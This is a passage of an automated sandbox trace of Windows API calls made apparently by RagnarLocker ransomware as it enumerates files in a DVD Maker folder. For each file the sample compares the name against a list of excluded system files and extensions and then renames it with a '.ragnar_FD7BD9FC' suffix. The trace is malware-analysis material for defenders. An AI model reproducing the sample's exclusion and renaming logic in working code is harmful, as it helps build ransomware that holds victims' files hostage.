Maker\\Shared\\DvdStyles\\Memories\\background.png" [0079.026] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.ragnar_FD7BD9FC" [0079.026] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0079.026] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.026] lstrcpyW (in: lpString1=0x1eab5a, lpString2="btn-back-static.png" | out: lpString1="btn-back-static.png") returned="btn-back-static.png" [0079.026] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png") returned=".png" [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="autorun.inf") returned 1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="boot.ini") returned 1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootfont.bin") returned 1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootsect.bak") returned 1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgr") returned 1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgr.efi") returned 1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgfw.efi") returned 1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="desktop.ini") returned -1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="iconcache.db") returned -1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntldr") returned -1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.dat") returned -1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.dat.log") returned -1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.ini") returned -1 [0079.026] lstrcmpiW (lpString1="btn-back-static.png", lpString2="thumbs.db") returned -1 [0079.026] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.026] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.026] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.026] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.026] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.026] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.026] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png")) returned 0x20 [0079.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.027] CloseHandle (hObject=0xffffffff) returned 0 [0079.027] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" [0079.027] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.ragnar_FD7BD9FC" [0079.027] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0079.027] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.027] lstrcpyW (in: lpString1=0x1eab5a, lpString2="btn-next-static.png" | out: lpString1="btn-next-static.png") returned="btn-next-static.png" [0079.027] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png") returned=".png" [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="autorun.inf") returned 1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="boot.ini") returned 1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootfont.bin") returned 1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootsect.bak") returned 1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgr") returned 1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgr.efi") returned 1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgfw.efi") returned 1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="desktop.ini") returned -1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="iconcache.db") returned -1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntldr") returned -1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.dat") returned -1 [0079.027] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.dat.log") returned -1 [0079.028] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.ini") returned -1 [0079.028] lstrcmpiW (lpString1="btn-next-static.png", lpString2="thumbs.db") returned -1 [0079.028] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.028] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.028] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.028] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.028] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.028] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.028] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png")) returned 0x20 [0079.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.028] CloseHandle (hObject=0xffffffff) returned 0 [0079.028] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" [0079.028] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.ragnar_FD7BD9FC" [0079.028] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.028] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0079.028] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.028] lstrcpyW (in: lpString1=0x1eab5a, lpString2="btn-previous-static.png" | out: lpString1="btn-previous-static.png") returned="btn-previous-static.png" [0079.028] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png") returned=".png" [0079.028] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.028] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="autorun.inf") returned 1 [0079.028] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="boot.ini") returned 1 [0079.028] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootfont.bin") returned 1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootsect.bak") returned 1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgr") returned 1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgr.efi") returned 1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgfw.efi") returned 1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="desktop.ini") returned -1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="iconcache.db") returned -1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntldr") returned -1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.dat") returned -1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.dat.log") returned -1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.ini") returned -1 [0079.029] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="thumbs.db") returned -1 [0079.029] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.029] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.029] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.029] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.029] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.029] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.029] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png")) returned 0x20 [0079.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.030] CloseHandle (hObject=0xffffffff) returned 0 [0079.030] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" [0079.030] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.ragnar_FD7BD9FC" [0079.030] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.030] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0079.030] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.030] lstrcpyW (in: lpString1=0x1eab5a, lpString2="button-highlight.png" | out: lpString1="button-highlight.png") returned="button-highlight.png" [0079.030] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png") returned=".png" [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="autorun.inf") returned 1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="boot.ini") returned 1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootfont.bin") returned 1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootsect.bak") returned 1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgr") returned 1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgr.efi") returned 1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgfw.efi") returned 1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="desktop.ini") returned -1 [0079.030] lstrcmpiW (lpString1="button-highlight.png", lpString2="iconcache.db") returned -1 [0079.031] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntldr") returned -1 [0079.031] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.dat") returned -1 [0079.031] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.dat.log") returned -1 [0079.031] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.ini") returned -1 [0079.031] lstrcmpiW (lpString1="button-highlight.png", lpString2="thumbs.db") returned -1 [0079.031] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.031] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.031] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.031] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.031] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.031] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.031] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png")) returned 0x20 [0079.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.031] CloseHandle (hObject=0xffffffff) returned 0 [0079.031] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" [0079.031] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.ragnar_FD7BD9FC" [0079.031] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.031] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0079.031] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.031] lstrcpyW (in: lpString1=0x1eab5a, lpString2="button-overlay.png" | out: lpString1="button-overlay.png") returned="button-overlay.png" [0079.031] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png") returned=".png" [0079.031] lstrcmpiW (lpString1="button-overlay.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="autorun.inf") returned 1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="boot.ini") returned 1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="bootfont.bin") returned 1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="bootsect.bak") returned 1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="bootmgr") returned 1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="bootmgr.efi") returned 1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="bootmgfw.efi") returned 1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="desktop.ini") returned -1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="iconcache.db") returned -1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="ntldr") returned -1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="ntuser.dat") returned -1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="ntuser.dat.log") returned -1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="ntuser.ini") returned -1 [0079.032] lstrcmpiW (lpString1="button-overlay.png", lpString2="thumbs.db") returned -1 [0079.032] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.032] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.032] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.032] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.032] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.032] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.032] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png")) returned 0x20 [0079.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.032] CloseHandle (hObject=0xffffffff) returned 0 [0079.032] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" [0079.032] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.ragnar_FD7BD9FC" [0079.032] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.033] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0079.033] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.033] lstrcpyW (in: lpString1=0x1eab5a, lpString2="Memories_buttonClear.png" | out: lpString1="Memories_buttonClear.png") returned="Memories_buttonClear.png" [0079.033] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png") returned=".png" [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="autorun.inf") returned 1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="boot.ini") returned 1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="bootfont.bin") returned 1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="bootsect.bak") returned 1 [0079.033] lstrcmpiW 